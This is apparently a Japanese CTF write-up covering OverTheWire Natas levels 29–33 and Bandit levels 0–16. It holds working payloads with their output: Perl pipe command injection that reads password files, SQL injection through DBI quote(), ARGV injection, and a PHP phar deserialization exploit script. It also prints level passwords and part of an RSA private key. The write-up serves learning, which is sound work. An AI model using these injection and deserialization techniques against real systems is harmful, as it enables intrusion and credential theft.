HTMLの中にHTMLがあって見づらいが、natasというキーワードは弾かれるようになっているみたい。

Bashならワイルドカードが使えるのでnata?で試してみる。

curl -u natas29:pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno 'http://natas29.natas.labs.overthewire.org/index.pl?file=|%20cat%20/etc/nata?_webpass/nata?30%0A'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas29", "pass": "pc0w0Vo0KpTHcEsgMhXu2EwUzyYemPno" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<style>

#content {
    width: 1000px;
}
pre{
    background-color: #000000;
    color: #00FF00;
}

</style>

<h1>natas29</h1>
<div id="content">
H3y K1dZ,<br>
y0 rEm3mB3rz p3Rl rit3?<br>
\/\/4Nn4 g0 olD5kewL? R3aD Up!<br><br>

<form action="index.pl" method="GET">
<select name="file" onchange="this.form.submit()">
  <option value="">s3lEcT suMp1n!</option>
  <option value="perl underground">perl underground</option>
  <option value="perl underground 2">perl underground 2</option>
  <option value="perl underground 3">perl underground 3</option>
  <option value="perl underground 4">perl underground 4</option>
  <option value="perl underground 5">perl underground 5</option>
</select>
</form>

<pre></pre><div id="viewsource">c4n Y0 h4z s4uc3?</div>
</div>
</body>
</html>
Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X

どうやらnata""sでもいけるそう。

パスワード:Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X

Level 30 to 31

久しぶりのソースコードリンク!

#!/usr/bin/perl
use CGI qw(:standard);
use DBI;

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas30", "pass": "<censored>" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<!-- morla/10111 <3  happy birthday OverTheWire! <3  -->

<h1>natas30</h1>
<div id="content">

<form action="index.pl" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
END

if ('POST' eq request_method && param('username') && param('password')){
    my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); 

    my $sth = $dbh->prepare($query);
    $sth->execute();
    my $ver = $sth->fetch();
    if ($ver){
        print "win!<br>";
        print "here is your result:<br>";
        print @$ver;
    }
    else{
        print "fail :(";
    }
    $sth->finish();
    $dbh->disconnect();
}

print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END

明らかにquoteが怪しかったのでググってみた。

https://security.stackexchange.com/questions/175703/is-this-perl-database-connection-vulnerable-to-sql-injection

なるほどね。Perlでは引数を複数渡すことと、引数のリストを関数に渡すこととが同じらしい。またもしGETパラメータが複数回与えられている場合、paramはすべての値のリストを返すので、それを利用する。

https://metacpan.org/pod/DBI#quote

quote の第二引数は第一引数のデータ型を指定するもので、整数型の場合などではクオートがつかないらしい。型を指定するにはその型のインスタンスを渡せばいいとのこと(整数型なら120とか)。

これはPerl初心者には厳しい、、

~$ curl -u natas30:Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X -X POST -d 'username=natas31' -d 'password="" or 1 #' -d 'password=2'  http://natas30.natas.labs.overthewire.org/index.pl
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas30", "pass": "Gz4at8CdOYQkkJ8fJamc11Jg5hOnXM9X" };</script></head>
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">

<!-- morla/10111 <3  happy birthday OverTheWire! <3  -->

<h1>natas30</h1>
<div id="content">

<form action="index.pl" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
win!<br>here is your result:<br>natas31AMZF14yknOn9Uc57uKB02jnYuhplYka3<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

パスワード:AMZF14yknOn9Uc57uKB02jnYuhplYka3

Level 31 to 32

CSVをアップロードするとテーブルで表示してくれるツールっぽい。

/var/www/natas/natas31/index-source.pl
#!/usr/bin/perl
use CGI;
{'TMPDIR'}="/var/www/natas/natas31/tmp/";

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- Bootstrap -->
<link href="bootstrap-3.3.6-dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas31", "pass": "<censored>" };</script>
<script src="sorttable.js"></script>
</head>
<script src="bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>

<!-- morla/10111 -->
<style>
#content {
    width: 900px;
}
.btn-file {
    position: relative;
    overflow: hidden;
}
.btn-file input[type=file] {
    position: absolute;
    top: 0;
    right: 0;
    min-width: 100%;
    min-height: 100%;
    font-size: 100px;
    text-align: right;
    filter: alpha(opacity=0);
    opacity: 0;
    outline: none;
    background: white;
    cursor: inherit;
    display: block;
}
</style>

<h1>natas31</h1>
<div id="content">
END

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, ;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML()."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML()."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

<form action="index.pl" method="post" enctype="multipart/form-data">
    <h2> CSV2HTML</h2>
    <br>
    We all like .csv files.<br>
    But isn't a nicely rendered and sortable table much cooler?<br>
    <br>
    Select file to upload:
    <span class="btn btn-default btn-file">
        Browse <input type="file" name="file">
    </span>    
    <input type="submit" value="Upload" name="submit" class="btn">
</form> 
END
}

print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END

流石にPerlがわからなさすぎたので、まず最低限押さえておくべきポイントをまとめてみた。

  1. myはローカル変数を定義する
  2. ourグローバル変数を定義する(デフォルト)
  3. foreachなどでmy/ourを使うことも可能(foreach my $line ...など)
  4. 変数定義は必要ではない(未定義の変数はundefとなる)
  5. スカラー値には$をつける($lineなど)
  6. ハッシュ値には%をつける(%linesなど)
  7. リスト値には@をつける(@linesなど)
  8. サブルーチンには何もつけない(funcなど)
  9. 特殊変数は$/%/@ありの全部大文字(%ENVなど)
  10. ベアワードは$/%/@なしの全部大文字(Rubyのシンボルに近い)
    1. ファイルハンドルに使われる(FHなど)
    2. ハッシュのキーにも使われる(my %map = (KEY1 => "value1")など)
  11. $/%/@は変数ではなく値によって決まる($lines[0]など)
  12. func(@lines)func(line1, line2, ...)と同じ
  13. $line = @lines$line=$lines[0]と同じ
  14. @lines = $line$lines[0]=$lineと同じ
  15. $_はデフォルト変数
    1. foreach/while (<FH>)などによりデフォルトで代入される
    2. chomp/splitなどによりデフォルトで読み出される
  16. $line = <FH>$line = readline(FH)と同じ

それでもやっぱりわからない、、

ヒント見ます。

https://axcheron.github.io/writeups/otw/natas/#natas-31-solution

http://kentfredric.github.io/blog/2016/01/01/re-the-perl-jam-2-argv-is-evil/

どうやらさらに、

  1. $line = <"FD">$line = <FD>と同じ
  2. $line = <ARGV>foreach $file (@ARGV) { open $_, $file; ... }と同じ

といった特殊な仕様があるみたい。

つまりうまくやれば前のopenのパイプを使った攻撃ができそう。

まず$cgi->upload('file')を通過する必要があるので、既存のfileというファイル入力は残しつつ、もう一つfileというテキスト入力を追加し、値をARGVにセットする。

my $file = $cgi->param('file');で最初のfileが代入されるので、ARGVの方が先になるようにする。

今回の場合、URLの?以降のクエリパラメータがそのままARGVに渡されるらしい。これは多分Apacheとかの設定によると思う。

あとはフォームのactionindex.php?cat /etc/natas_webpass/natas32 |をセットして完了。

パスワード:Yp5ffyfmEdjvTOwpN5HCvh7Ctgf9em3G

Level 32 to 33

#!/usr/bin/perl
use CGI;
{'TMPDIR'}="/var/www/natas/natas32/tmp/";

print <<END;
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<head>
<!-- This stuff in the header has nothing to do with the level -->
<!-- Bootstrap -->
<link href="bootstrap-3.3.6-dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas32", "pass": "<censored>" };</script>
<script src="sorttable.js"></script>
</head>
<script src="bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>

<!-- 
    morla/10111 
    shouts to Netanel Rubin    
-->

<style>
#content {
    width: 900px;
}
.btn-file {
    position: relative;
    overflow: hidden;
}
.btn-file input[type=file] {
    position: absolute;
    top: 0;
    right: 0;
    min-width: 100%;
    min-height: 100%;
    font-size: 100px;
    text-align: right;
    filter: alpha(opacity=0);
    opacity: 0;
    outline: none;
    background: white;
    cursor: inherit;
    display: block;
}

</style>

<h1>natas32</h1>
<div id="content">
END

my $cgi = CGI->new;
if ($cgi->upload('file')) {
    my $file = $cgi->param('file');
    print '<table class="sortable table table-hover table-striped">';
    $i=0;
    while (<$file>) {
        my @elements=split /,/, ;

        if($i==0){ # header
            print "<tr>";
            foreach(@elements){
                print "<th>".$cgi->escapeHTML()."</th>";   
            }
            print "</tr>";
        }
        else{ # table content
            print "<tr>";
            foreach(@elements){
                print "<td>".$cgi->escapeHTML()."</td>";   
            }
            print "</tr>";
        }
        $i+=1;
    }
    print '</table>';
}
else{
print <<END;

<form action="index.pl" method="post" enctype="multipart/form-data">
    <h2> CSV2HTML</h2>
    <br>
    We all like .csv files.<br>
    But isn't a nicely rendered and sortable table much cooler?<br>
    <br>
    This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute.
    <br><br>
    Select file to upload:
    <span class="btn btn-default btn-file">
        Browse <input type="file" name="file">
    </span>    
    <input type="submit" value="Upload" name="submit" class="btn">
</form> 
END
}

print <<END;
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
END

“This time you need to prove that you got code exec. There is a binary in the webroot that you need to execute.”

ほう。ほとんど同じだけど今度はとあるバイナリを実行しなければいけないっぽい?

cat /etc/natas_webpass/natas33が効かないんだろうか。

試しに同じ手法でls -l /etc/natas_webpass/natas32 /etc/natas_webpass/natas33 |を実行し、パーミッションを見てみる。

なるほど。natas33は全部rootアクセスになってる。

というわけで大人しくls -al |を実行。

getpasswordが明らかに怪しい。setuidフラッグついてるし。

./getpassword |を投げる。

パスワード:APwWDD3fRAf6226sgBOBaSptGwvXwQhG

Level 32 to 33

<html>
    <head>
        <!-- This stuff in the header has nothing to do with the level -->
        <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
        <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
        <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
        <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
        <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
        <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
        <script>var wechallinfo = { "level": "natas33", "pass": "<censored>" };</script></head>
    </head>
    <body>
        <?php
            // graz XeR, the first to solve it! thanks for the feedback!
            // ~morla
            class Executor{
                private $filename=""; 
                private $signature='adeafbadbabec0dedabada55ba55d00d';
                private $init=False;

                function __construct(){
                    $this->filename=$_POST["filename"];
                    if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
                        echo "File is too big<br>";
                    }
                    else {
                        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                            echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                            echo "Firmware upgrad initialised.<br>";
                        }
                        else{
                            echo "There was an error uploading the file, please try again!<br>";
                        }
                    }
                }

                function __destruct(){
                    // upgrade firmware at the end of this script

                    // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
                    chdir("/natas33/upload/");
                    if(md5_file($this->filename) == $this->signature){
                        echo "Congratulations! Running firmware update: $this->filename <br>";
                        passthru("php " . $this->filename);
                    }
                    else{
                        echo "Failur! MD5sum mismatch!<br>";
                    }
                }
            }
        ?>

        <h1>natas33</h1>
        <div id="content">
            <h2>Can you get it right?</h2>

            <?php
                session_start();
                if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
                    new Executor();
                }
            ?>
            <form enctype="multipart/form-data" action="index.php" method="POST">
                <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
                <input type="hidden" name="filename" value="<?php echo session_id(); ?>" />
                Upload Firmware Update:<br/>
                <input name="uploadedfile" type="file" /><br />
                <input type="submit" value="Upload File" />
            </form>

            <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
        </div>
    </body>
</html>

ファイルのMD5ハッシュがadeafbadbabec0dedabada55ba55d00dになるようにサブミットすれば、PHPで実行される仕組みっぽい。

ただこの文字数のハッシュは厳しそう。レインボーテーブルも無理だろうし。

https://axcheron.github.io/writeups/otw/natas/#natas-33-solution

どうやらmd5_fileなどファイルを読み込む関数にはpharファイルを使った攻撃が有効らしい。

https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability#4-how-pop-attacks-work

If the object defined in the metadata belongs to a class defined in the scope of the current program, that object will be loaded in that program’s context.

なるほど。

メタデータにセットされたオブジェクトと同じ名前のクラスが存在する場合、そのオブジェクトがpharファイルからロードされるみたい。unserializeと同じくフィールドの値は自由に決めることが可能。

ロードされたらいつかデストラクタが呼ばれるので、そのときにpassthruが実行されるわけだ。

まずはpassthruで実行したいPHPファイルを作成。

~$ touch test.php
// test.php
<?php include('/etc/natas_webpass/natas34'); ?>

test.phpMD5ハッシュ値を調べて、そのハッシュ値をもったExecutorクラスをメタデータにもつpharファイルを作る。

~$ php -a
Interactive shell

php > echo md5_file('test.php');
ea5aaca71bae73aabad512517758d1ba
php > 
~$ touch test.txt make_phar.php
// make_phar.php
<?php
class Executor {
    private $filename="test.php"; 
    private $signature="ea5aaca71bae73aabad512517758d1ba";
    private $init=False;
}

$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", 'test');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Executor());
$phar->stopBuffering();
?>

デフォルトではpharファイルは読みとり専用となっているので、phar.readonlyをオフにする。

~$ php --define phar.readonly=0 make.php

あとはtest.phptest.pharをそれぞれのファイル名でアップロードして、

最後に適当なファイル(今回はtest.phar)とファイル名phar://test.pharでサブミットして、md5_fileにpharファイルをロードさせる。

それにしても何でmd5_fileとかでもメタデータが読み込まれるんですかね。Phar::getMetaDataとか使わないとメタデータには直接アクセスできないから読み込まなくてもいいはずなのに。

パスワード:F6Fcmavn8FgZgrAPOvoLudNr1GwQTaNG

Thoughts

めちゃくちゃ難しかった。特に後半、特にLevel 28 to 29。

Banditは1日で終わったけど、Natasは丸4日かかった。

とはいえすごく勉強になったし、楽しかったから、いつか別のにも挑戦してみたい。

とりあえずちょっと休憩挟みます、、

Over the Wire - Bandit

Over the Wire - Bandit

https://overthewire.org/wargames/bandit/

試験も終わりだいぶ暇になったので、以前から気になっていたOver the Wireに挑戦してみることに。

Banditというのが一番簡単らしいのでそれから初めてみる。レベルごとに次のユーザーのSSHパスワードを探していくという設定らしい。

Level 0

ssh bandit0@bandit.labs.overthewire.org -p 2220

ポート2220でSSHサーバーにログイン。

Level 0 to 1

bandit1@bandit:~/inhere$ cat readme
NH2SXQwcBdpmTEzi3bvBHMM9H66vVXjL

Level 1 to 2

bandit1@bandit:~/inhere$ cat ./-
rRGizSaX8Mk1RTb1CNQoXTcYZWU6lgzi

catコマンドには--が効かないらしく、cat < -cat ./- を使う必要があるとのこと。

Level 2 to 3

bandit2@bandit:~/inhere$ cat 'spaces in this filename'
aBZ0W5EmUfAf7kHTQeOwd8bauFJ2lAiG

Level 3 to 4

bandit3@bandit:~/inhere$ ls -a inhere
.hidden
bandit3@bandit:~/inhere$ cat .hidden
2EW7BBsr6aMMoJ2HjW067dm8EgX26xNe

ここまでは基本的なコマンド操作といった感じ。

Level 4 to 5

bandit4@bandit:~/inhere$ find . -type f -exec file {} \;
./-file03: data
./-file06: data
./-file08: data
./-file07: ASCII text
./-file04: data
./-file00: data
./-file01: data
./-file02: data
./-file09: Non-ISO extended-ASCII text, with no line terminators
./-file05: data

-file07-file09が怪しい。

bandit4@bandit:~/inhere$ cat ./-file07
lrIWWI6bB37kxfiCQZqUdOIYfr6eEeqR
bandit4@bandit:~/inhere$ cat ./-file09
�?3��[ٲN|?�G|b�G�[8�y�-�́*�
                          ��

Level 5 to 6

bandit5@bandit:~/inhere$ find . -readable -not -executable -size 1033c
./maybehere07/.file2
bandit5@bandit:~/inhere$ cat ./maybehere07/.file2
P4L4vucdmLnm8I7Vl7jG1ApGSfjYKqJU

Level 5は-readableオプション使えばよかったらしい。findコマンド初心者がバレてしまった、、

Level 6 to 7

bandit6@bandit:~$ find / -user bandit7 -group bandit6 -size 33c
find: ‘/var/log’: Permission denied
find: ‘/var/crash’: Permission denied
find: ‘/var/spool/rsyslog’: Permission denied
find: ‘/var/spool/bandit24’: Permission denied
find: ‘/var/spool/cron/crontabs’: Permission denied
find: ‘/var/tmp’: Permission denied
find: ‘/var/lib/polkit-1’: Permission denied
/var/lib/dpkg/info/bandit7.password
...
bandit6@bandit:~$ cat /var/lib/dpkg/info/bandit7.password
z7WtoNQU2XfjmMtWA8u5rN4vzqu4v99S

findコマンド強い。

Level 7 to 8

bandit7@bandit:~$ cat data.txt | grep millionth
millionth   TESKZC0XvTetK0S9xNwm25STk5iWrBvP

Level 8 to 9

bandit8@bandit:~$ sort data.txt | uniq -u
EN632PlfYiZbn3PhVK3XOGSlNInNE00t

uniqコマンドを使うには行ごとにsortする必要があるらしい。

Level 9 to 10

bandit9@bandit:~$ strings data.txt
...
========== G7w8LIi6J3kTb8A7j9LgrywtEUlyyp6s
...

stringsコマンドはバイナリ内の文字列を列挙する。

Level 10 to 11

bandit10@bandit:~$ base64 -d data.txt
The password is 6zPeziLdR2RKNdNYFNb6nVCKzphlXHBM

base64コマンドはデフォルトだと文字列をエンコードする。デコードには-dオプションを使う。

Level 11 to 12

bandit11@bandit:~$ tr 'A-Za-z' 'N-ZA-Mn-za-m' < data.txt
The password is JVNBBFSmZwKKOP0XbFXOoW8chDz5yVRv

trコマンドは第一引数の文字集合を第二引数の文字集合に変換する。

Level 12 to 13

/tmpディレクトリにフォルダを作れるらしい。

bandit12@bandit:/tmp$ mkdir test
bandit12@bandit:/tmp$ cd test
bandit12@bandit:/tmp/test$ xxd -r data.txt > data
bandit12@bandit:/tmp/test$ file data
data: gzip compressed data, was "data2.bin", last modified: Sun Apr 23 18:04:23 2023, max compression, from Unix, original size modulo 2^32 581
bandit12@bandit:/tmp/test$ gzip -d data
gzip: data: unknown suffix -- ignored

hexdumpコマンドの逆はxxd -rでできるらしい。gzipで圧縮されたようなのでgzip -dで展開しようとしたがエラーが出る。

bandit12@bandit:/tmp/test$ mv data data.gz
bandit12@bandit:/tmp/test$ gzip -d data.gz
bandit12@bandit:/tmp/test$ file data
data: bzip2 compressed data, block size = 900k

どうやら拡張子が.gzじゃないといけないようだった。次はbzipを展開する。

bandit12@bandit:/tmp/test$ bzip2 -d data
bzip2: Can\'t guess original name for data -- using data.out
bandit12@bandit:/tmp/test$ file data.out
data.out: gzip compressed data, was "data4.bin", last modified: Sun Apr 23 18:04:23 2023, max compression, from Unix, original size modulo 2^32 20480

今度はまたgzip

bandit12@bandit:/tmp/test$ mv data.out data.gz
bandit12@bandit:/tmp/test$ gzip -d data.gz
bandit12@bandit:/tmp/test$ ls
data  data.txt
bandit12@bandit:/tmp/test$ file data
data: POSIX tar archive (GNU)
bandit12@bandit:/tmp/test$ tar -xf data
bandit12@bandit:/tmp/test$ ls
data  data5.bin  data.txt
bandit12@bandit:/tmp/test$ file data5.bin
data5.bin: POSIX tar archive (GNU)
bandit12@bandit:/tmp/test$ tar -xf data5.bin
bandit12@bandit:/tmp/test$ ls
data  data5.bin  data6.bin  data.txt
bandit12@bandit:/tmp/test$ file data6.bin
data6.bin: bzip2 compressed data, block size = 900k
bandit12@bandit:/tmp/test$ bzip2 -d data6.bin
bzip2: Can\'t guess original name for data6.bin -- using data6.bin.out
bandit12@bandit:/tmp/test$ file data6.bin.out
data6.bin.out: POSIX tar archive (GNU)
bandit12@bandit:/tmp/test$ tar -xf data6.bin.out
bandit12@bandit:/tmp/test$ ls
data  data5.bin  data6.bin.out  data8.bin  data.txt
bandit12@bandit:/tmp/test$ file data8.bin
data8.bin: gzip compressed data, was "data9.bin", last modified: Sun Apr 23 18:04:23 2023, max compression, from Unix, original size modulo 2^32 49
bandit12@bandit:/tmp/test$ mv data8.bin data8.gz
bandit12@bandit:/tmp/test$ gzip -d data8.gz
bandit12@bandit:/tmp/test$ ls
data  data5.bin  data6.bin.out  data8  data.txt
bandit12@bandit:/tmp/test$ file data8
data8: ASCII text
bandit12@bandit:/tmp/test$ cat data8
The password is wbWdlBxEir4CaE8LaPhauuOo6pwRmrDw

急に長い、、ただおかげでファイル圧縮系のコマンドはかなり慣れたと思う。

Level 13 to 14

bandit13@bandit:~$ ls
sshkey.private
bandit13@bandit:~$ ssh bandit14@localhost -i sshkey.private -p 2220
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
...

ポートは2220なのを忘れずに。

Level 14 to 15

bandit14のパスワードがわからなくて焦る。

--[ Playing the games ]--

  This machine might hold several wargames.
  If you are playing "somegame", then:

    * USERNAMES are somegame0, somegame1, ...
    * Most LEVELS are stored in /somegame/.
    * PASSWORDS for each level are stored in /etc/somegame_pass/.

よくみたらログインメッセージにパスワードの場所が書いてあった。

bandit14@bandit:~$ ls /etc/bandit_pass/
bandit0   bandit11  bandit14  bandit17  bandit2   bandit22  bandit25  bandit28  bandit30  bandit33  bandit6  bandit9
bandit1   bandit12  bandit15  bandit18  bandit20  bandit23  bandit26  bandit29  bandit31  bandit4   bandit7
bandit10  bandit13  bandit16  bandit19  bandit21  bandit24  bandit27  bandit3   bandit32  bandit5   bandit8
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq

telnetコマンドを使ってパスワードを送信する。接続を終えるにはCtrl+]からのclose

bandit14@bandit:~$ telnet localhost 30000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
fGrHPx402xGC7U7rXKDaxiWFTOiF0ENq
Correct!
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt

Connection closed by foreign host.

Level 15 to 16

bandit15@bandit:~$ cat /etc/bandit_pass/bandit15
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
bandit15@bandit:~$ openssl s_client -connect localhost:30001
read R BLOCK
jN2kgmIXJ6fShzhT2avhotn4Zcka6tnt
Correct!
JQttfApK4SeyHwDlI9SXGR50qclOAil1

telnetSSL上では動かないので、openssl s_clientを使う必要があるらしい。

Level 16 to 17

bandit16@bandit:~$ nmap -sV -p 31000-32000 localhost
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-23 13:37 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE     VERSION
31046/tcp open  echo
31518/tcp open  ssl/echo
31691/tcp open  echo
31790/tcp open  ssl/unknown
31960/tcp open  echo
...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.94 seconds

ポート3151831790が怪しい。

bandit16@bandit:~$ openssl s_client -connect localhost:31518
read R BLOCK
JQttfApK4SeyHwDlI9SXGR50qclOAil1
JQttfApK4SeyHwDlI9SXGR50qclOAil1
bandit16@bandit:~$ openssl s_client -connect localhost:31790
read R BLOCK
JQttfApK4SeyHwDlI9SXGR50qclOAil1
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
